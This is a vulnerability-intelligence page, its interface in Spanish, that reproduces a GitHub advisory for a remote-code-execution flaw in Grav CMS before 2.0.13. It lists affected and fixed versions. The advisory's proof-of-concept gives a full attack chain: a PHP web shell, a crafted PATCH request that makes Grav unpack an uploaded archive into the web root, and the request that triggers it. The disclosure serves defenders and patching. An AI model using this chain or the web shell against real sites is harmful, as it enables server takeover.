llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · getgrav/grav

GHSA-R94F-HX44-8JQF

Grav CMS vulnerable to remote code execution via .zip file upload

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.0.13
Exposición64 dDesde la divulgación, 17 sept 2026, 3:45 p. m.
Detección60 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
17 sept 26
17 nov 26
21 nov 26
17 sept 26
3 oct 26
20 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-R94F-HX44-8JQF divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC
  1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below.
  1. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`.

Zip the shell.php file with the php code mentioned below:
```
shell.php: <?php system($_GET['c']); ?>
zip evil.zip shell.php
```

  1. Send the request (attach your Cookie and X-API-Token):

```
PATCH /api/v1/config/plugins/flex-objects
Content-Type: application/json

{
"directories": ["user/config/plugins/flex-objects.yaml"],
"title": "Pwn",
"type": "flex-objects",
"config": { "data": {
"object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
"collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
"index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
"storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
"options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
"folder": "user-data://flex-objects/pwn.json" } } } },
"form": { "validation": "loose", "fields": {
"name": {"type": "text", "label": "Name"},
"pwn": {"type": "text", "label": "pwn",
"data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
"user/media/evil.zip",
"/absolute/path/to/grav-docroot"]} } }
}
```

  1. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

```
POST /api/v1/flex-objects/flex-objects
Content-Type: application/json

{"name": "x"}
-> 201
```

  1. Open the file that was written:

```
http://TARGET/shell.php?c=id
-> PWNED:uid=1000(kali) gid=1000(kali) ...
```

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav< 2.0.13
2.0.13
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav
Corregida 2.0.13 — —
Versiones corregidas2.0.13
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-72819
Otrahttps://github.com/getgrav/grav/security/advisories/GHSA-r94f-hx44-8jqf
Otrahttps://github.com/getgrav/grav
Otrahttps://www.vulncheck.com/advisories/grav-cms-before-remote-code-execution-via-zip-upload

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.